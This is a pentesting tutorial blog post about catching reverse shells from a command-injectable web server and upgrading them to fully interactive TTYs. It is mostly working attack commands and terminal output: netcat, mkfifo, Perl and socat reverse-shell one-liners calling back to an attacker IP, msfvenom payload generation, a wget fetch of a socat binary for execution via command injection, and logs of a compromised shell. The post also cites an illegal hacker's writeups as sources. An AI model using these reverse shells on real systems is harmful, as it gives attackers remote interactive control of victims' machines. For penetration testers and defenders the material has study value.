



Upgrading simple shells to fully interactive TTYs

10 JULY 2017



EMAIL



TWITTER



REDDIT

Table of Contents

- [Generating reverse shell commands](#)
- [Method 1: Python pty module](#)
- [Method 2: Using socat](#)
- [Method 3: Upgrading from netcat with magic](#)
- [tl;dr cheatsheet](#)

Every pentester knows that amazing feeling when they catch a reverse shell with netcat and see that oh-so-satisfying verbose netcat message followed by output from `id`.

And if other pentesters are like me, they also know that dreadful feeling when their shell is lost because they run a bad command that hangs and accidentally hit "Ctrl-C" thinking it will stop it but it instead kills the entire connection.

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.0.3.7: inverse host lookup failed: Unknown host
connect to [10.0.3.4] from (UNKNOWN) [10.0.3.7] 57206
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www
ls
index.html
secrets.config
cat
ls
ls
cat
cat
^C
root@kali:~# F$#@!!!!
```

Besides not correctly handling SIGINT, these "dumb" shells have other shortcomings as well:

- Some commands, like `su` and `ssh` require a proper terminal to run
- STDERR usually isn't displayed
- Can't properly use text editors like `vim`
- No tab-complete
- No up arrow history
- No job control

- Etc...

Long story short, while these shells are great to catch, I'd much rather operate in a fully interactive TTY.

I've come across some good resources that include very helpful tips and techniques for "upgrading" these shells, and wanted to compile and share in a post. Along with Pentest Monkey, I also learned the techniques from Phineas Fisher in his released videos and writeups of his illegal activities:

- [Pentest Monkey - Post Exploitation Without a TTY](#)
- [Phineas Fisher Hacks Catalan Police Union Website](#)
- [Phineas Fisher - Hackingteam Writeup](#)

For reference, in all the screenshots and commands to follow, I am injecting commands in to a vulnerable web server ("VICTIM") and catching shells from my Kali VM ("KALI"):

- **VICTIM IP:** 10.0.3.7
- **KALI IP:** 10.0.3.4

Generating reverse shell commands

Everyone is pretty familiar with the traditional way of using netcat to get a reverse shell:

```
nc -e /bin/sh 10.0.3.4 4444
```

and catching it with:

```
nc -lvp 4444
```

The problem is not every server has netcat installed, and not every version of netcat has the `-e` option.

Pentest Monkey has a great [cheatsheet](#) outlining a few different methods, but my favorite technique is to use Metasploit's `msfvenom` to generate the one-liner commands for me.

Metasploit has several payloads under "cmd/unix" that can be used to generate one-liner bind or reverse shells:

```
root@kali:~# msfvenom -l payloads |grep "cmd/unix"|awk '{print $1}'
cmd/unix/bind_awk
cmd/unix/bind_inetd
cmd/unix/bind_lua
cmd/unix/bind_netcat
cmd/unix/bind_netcat_gaping
cmd/unix/bind_netcat_gaping_ipv6
cmd/unix/bind_nodejs
cmd/unix/bind_perl
cmd/unix/bind_perl_ipv6
cmd/unix/bind_ruby
cmd/unix/bind_ruby_ipv6
cmd/unix/bind_zsh
cmd/unix/generic
cmd/unix/interact
cmd/unix/reverse
cmd/unix/reverse_awk
cmd/unix/reverse_bash
cmd/unix/reverse_bash_telnet_ssl
cmd/unix/reverse_lua
cmd/unix/reverse_ncat_ssl
cmd/unix/reverse_netcat
cmd/unix/reverse_netcat_gaping
cmd/unix/reverse_nodejs
cmd/unix/reverse_openssl
cmd/unix/reverse_perl
cmd/unix/reverse_perl_ssl
cmd/unix/reverse_php_ssl
cmd/unix/reverse_python
cmd/unix/reverse_python_ssl
cmd/unix/reverse_ruby
cmd/unix/reverse_ruby_ssl
cmd/unix/reverse_ssl_double_telnet
cmd/unix/reverse_zsh
```

Any of these payloads can be used with `msfvenom` to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here's a netcat

command not requiring the `-e` flag:

```
root@kali:~# msfvenom -p cmd/unix/reverse_netcat LHOST=10.0.3.4 LPORT=4444 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 87 bytes
mkfifo /tmp/lneo; nc 10.0.3.4 4444 0</tmp/lneo | /bin/sh >/tmp/lneo 2>&1; rm /tmp/lneo
```

And here's a Perl oneliner in case `netcat` isn't installed:

```
root@kali:~# msfvenom -p cmd/unix/reverse_perl LHOST=10.0.3.4 LPORT=4444 R
No platform was selected, choosing Msf::Module::Platform::Unix from the payload
No Arch selected, selecting Arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 227 bytes
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key} =~ /(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.0.3.4:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<){if($_ =~ /(.*)/){system $1;}}';
```

These can all be caught by using netcat and listening on the port specified (4444).

Method 1: Python pty module

One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let's you spawn a psuedo-terminal

that can fool commands like `su` into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

This will let you run `su` for example (in addition to giving you a nicer prompt)

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.0.3.7: inverse host lookup failed: Unknown host
connect to [10.0.3.4] from (UNKNOWN) [10.0.3.7] 57193
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www
su - webadmin
su: must be run from a terminal
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@precise64:~$ su - webadmin
su - webadmin
Password: admin

webadmin@precise64:~$ id
id
uid=1001(webadmin) gid=1003(webadmin) groups=1003(webadmin)
webadmin@precise64:~$
```

Unfortunately, this doesn't get around some of the other issues outlined above. SIGINT (Ctrl-C) will still close Netcat, and there's no tab-completion or

history. But it's a quick and dirty workaround that has helped me numerous times.

Method 2: Using socat

socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY's over TCP connections.

If `socat` is installed on the victim server, you can launch a reverse shell with it. You *must* catch the connection with `socat` as well to get the full functions.

The following commands will yield a fully interactive TTY reverse shell:

On Kali (listen):

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

On Victim (launch):

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

If socat isn't installed, you're not out of luck. There are standalone binaries that can be downloaded from this awesome Github repo:

<https://github.com/andrew-d/static-binaries>

With a command injection vuln, it's possible to download the correct architecture `socat` binary to a writable directory, chmod it, then execute a reverse shell in one line:

A terminal window with a dark background. The command `wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux` is entered. Below the command bar is a scrollbar.

```
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux
```

On Kali, you'll catch a fully interactive TTY session. It supports tab-completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It's a full terminal. Pretty sweet.

```

root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:4444
www-data@precise64:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@precise64:~$ cd /etc/
alternatives/      dpkg/              lvm/               resolvconf/
apache2/           fonts/             modprobe.d/        rsyslog.d/
apm/               fstab.d/           network/           security/
apparmor/          groff/             newt/              sgml/
apparmor.d/        grub.d/            opt/               skel/
apt/              init/              pam.d/             ssh/
bash_completion.d/ init.d/            perl/              ssl/
ca-certificates/  initramfs-tools/  pm/                sudoers.d/
calendar/         insserv/           ppp/               sysctl.d/
chatscripts/      insserv.conf.d/   profile.d/         systemd/
console-setup/    iproute2/          python/            terminfo/
cron.d/           iscsi/             python2.7/         udev/
cron.daily/       kbd/               rc0.d/             ufw/
cron.hourly/      kernel/            rc1.d/             update-manager/
cron.monthly/     ldap/              rc2.d/             update-motd.d/
cron.weekly/      ld.so.conf.d/     rc3.d/             vim/
dbus-1/           libnl-3/           rc4.d/             X11/
default/          logcheck/          rc5.d/             xml/
depmod.d/         logrotate.d/       rc6.d/
dhcp/            lsb-base/          rcS.d/

www-data@precise64:~$ cat
^C
www-data@precise64:~$ sleep 100
^Z
[1]+  Stopped                  sleep 100
www-data@precise64:~$ jobs
[1]+  Stopped                  sleep 100

```

Method 3: Upgrading from netcat with magic

I watched Phineas Fisher use this technique in his hacking video, and it feels like magic. Basically it is possible to use a dumb netcat shell to upgrade to a full TTY by setting some `stty` options within your Kali terminal.

First, follow the same technique as in Method 1 and use Python to spawn a PTY. Once bash is running in the PTY, background the shell with `Ctrl-Z`

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.0.3.7: inverse host lookup failed: Unknown host
connect to [10.0.3.4] from (UNKNOWN) [10.0.3.7] 57202
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@precise64:/tmp$ ^Z
[1]+  Stopped                  nc -lvp 4444
root@kali:~#
```

While the shell is in the background, now examine the current terminal and STTY info so we can force the connected shell to match it:

```
root@kali:~# echo $TERM
xterm-256color
root@kali:~# stty -a
speed 38400 baud; rows 38; columns 116; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swch = <undef>; start = ^Q;
stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iucrc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprnt echoctl echoke -flusho -extproc
root@kali:~#
```

The information needed is the TERM type ("xterm-256color") and the size of the current TTY ("rows 38; columns 116")

With the shell still backgrounded, now set the current STTY to type raw and tell it to echo the input characters with the following command:

```
stty raw -echo
```

With a raw stty, input/output will look weird and you won't see the next commands, but as you type they are being processed.

Next foreground the shell with `fg`. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with `reset`.

```
root@kali:~# stty raw -echo
root@kali:~# nc -lvp 4444
reset
```

Note: I did not type the `nc` command again (as it might look above). I actually entered `fg`, but it was not echoed. The `nc` command is the job that is now in the foreground. The `reset` command was then entered into the netcat shell

After the `reset` the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above)

```
$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116
```

The end result is a fully interactive TTY with all the features we'd expect (tab-complete, history, job control, etc) all over a netcat connection:

```
www-data@precise64:/tmp$ export SHELL=bash
www-data@precise64:/tmp$ export TERM=xterm-256color
www-data@precise64:/tmp$ stty rows 38 columns 116
www-data@precise64:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@precise64:/tmp$ cd /etc/
Display all 163 possibilities? (y or n)
www-data@precise64:/tmp$ cat
^C
www-data@precise64:/tmp$ sleep 100
^Z
[1]+  Stopped                  sleep 100
www-data@precise64:/tmp$ :D
```

The possibilities are endless now. Tmux over a netcat shell?? Why not? :D